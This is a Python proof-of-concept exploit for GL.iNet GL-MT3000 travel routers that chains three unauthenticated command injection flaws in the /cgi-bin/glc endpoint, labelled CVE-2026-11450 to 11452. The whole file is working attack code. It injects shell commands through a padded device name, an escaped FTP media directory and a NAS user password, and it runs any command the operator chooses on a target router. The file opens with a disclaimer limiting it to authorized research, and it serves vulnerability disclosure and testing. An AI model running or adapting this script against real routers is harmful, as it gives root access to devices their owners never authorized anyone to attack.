#!/usr/bin/env python3 """ GL.iNet GL-MT3000 (Beryl AX) Triple RCE PoC CVE-2026-11450 / CVE-2026-11451 / CVE-2026-11452 Exploits three unauthenticated command injection vulnerabilities in the /cgi-bin/glc endpoint of GL.iNet GL-MT3000 firmware <= 4.4.5. Full article: https://www.hunt-benito.com/glinet-beryl-ax-triple-rce-cve-2026-11450-11451-11452-unauthenticated-root-on-travel-router/ DISCLAIMER: For educational and authorized security research purposes only. Do not use against systems you do not own or have explicit permission to test. """ import json import ssl import sys import time import urllib.request import argparse def create_ssl_ctx(): ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE return ctx def glc_call(target, method, args, ctx): body = {"object": "nas-web", "method": method, "args": args} url = target.rstrip("/") + "/cgi-bin/glc" req = urllib.request.Request( url, data=json.dumps(body).encode(), headers={"Content-Type": "application/json"}, method="POST", ) try: resp = urllib.request.urlopen(req, timeout=10, context=ctx) return resp.status, resp.read().decode(errors="replace") except urllib.error.HTTPError as e: return e.code, e.read().decode(errors="replace") def exploit_cve_2026_11450(target, ctx, cmd, outfile): prefix = "/" * 54 + "null" payload = f"$({cmd}>{outfile})" dev_name = prefix + payload status, body = glc_call(target, "eject_disk_do1", {"dev_name": dev_name}, ctx) print(f"[*] CVE-2026-11450 (Buffer Mismatch)") print(f" dev_name length: {len(dev_name)}") print(f" access() sees: /dev/{dev_name[:58]}") print(f" system() sees: ...{payload}") print(f" Response: {status} {body[:200]}") print(f" Verify: cat {outfile}") return status def exploit_cve_2026_11451(target, ctx, cmd, outfile): media_dir = f"/x';{cmd}>{outfile} 2>&1;#" body_args = { "protos": [{"name": "ftp", "enable": 1, "media_dir": media_dir}] } status, body = glc_call(target, "set_proto_config", body_args, ctx) print(f"[*] CVE-2026-11451 (Quote Escape)") print(f" media_dir: {media_dir}") print(f" Response: {status} {body[:200]}") print(f" Verify: cat {outfile}") return status def exploit_cve_2026_11452(target, ctx, cmd, outfile): import shlex print(f"[*] Ensuring NAS service is running...") glc_call(target, "set_nas_ser", {"enable": 1}, ctx) glc_call(target, "start", {}, ctx) time.sleep(2) _, users_raw = glc_call(target, "get_user_list", {}, ctx) parts = users_raw.split(" ", 2) users_data = json.loads(parts[2] or "{}") if len(parts) >= 3 else {} users = users_data.get("list", []) if not users: print(" [-] No NAS user found. Create one via the admin panel first.") return None nas_user = users[-1]["name"] print(f" Using NAS user: {nas_user}") command = f"sh -c {shlex.quote(cmd)}>{shlex.quote(outfile)} 2>&1" nonce = str(time.time_ns())[-8:] password = f"Aa1!$({command}){nonce}" status, body = glc_call(target, "set_user_pwd", {"name": nas_user, "password": password}, ctx) print(f"[*] CVE-2026-11452 (Password Injection)") print(f" user: {nas_user}") print(f" password: {password}") print(f" Response: {status} {body[:200]}") print(f" Verify: cat {outfile}") return status def main(): parser = argparse.ArgumentParser(description="GL.iNet GL-MT3000 Triple RCE PoC") parser.add_argument("target", help="Router URL (e.g. http://192.168.8.1)") parser.add_argument("-c", "--cmd", default="id", help="Command to execute (default: id)") parser.add_argument("-o", "--outfile", default="/tmp/poc_output", help="Remote output file") parser.add_argument( "-v", "--cve", choices=["11450", "11451", "11452", "all"], default="all", help="Which CVE to exploit (default: all)", ) args = parser.parse_args() ctx = create_ssl_ctx() print(f"Target: {args.target}") print(f"Command: {args.cmd}") print(f"Output file: {args.outfile}") print() if args.cve in ("11450", "all"): try: exploit_cve_2026_11450(args.target, ctx, args.cmd, args.outfile + "_11450") except Exception as e: print(f" [-] Error: {e}") print() if args.cve in ("11451", "all"): try: exploit_cve_2026_11451(args.target, ctx, args.cmd, args.outfile + "_11451") except Exception as e: print(f" [-] Error: {e}") print() if args.cve in ("11452", "all"): try: exploit_cve_2026_11452(args.target, ctx, args.cmd, args.outfile + "_11452") except Exception as e: print(f" [-] Error: {e}") print() if __name__ == "__main__": main()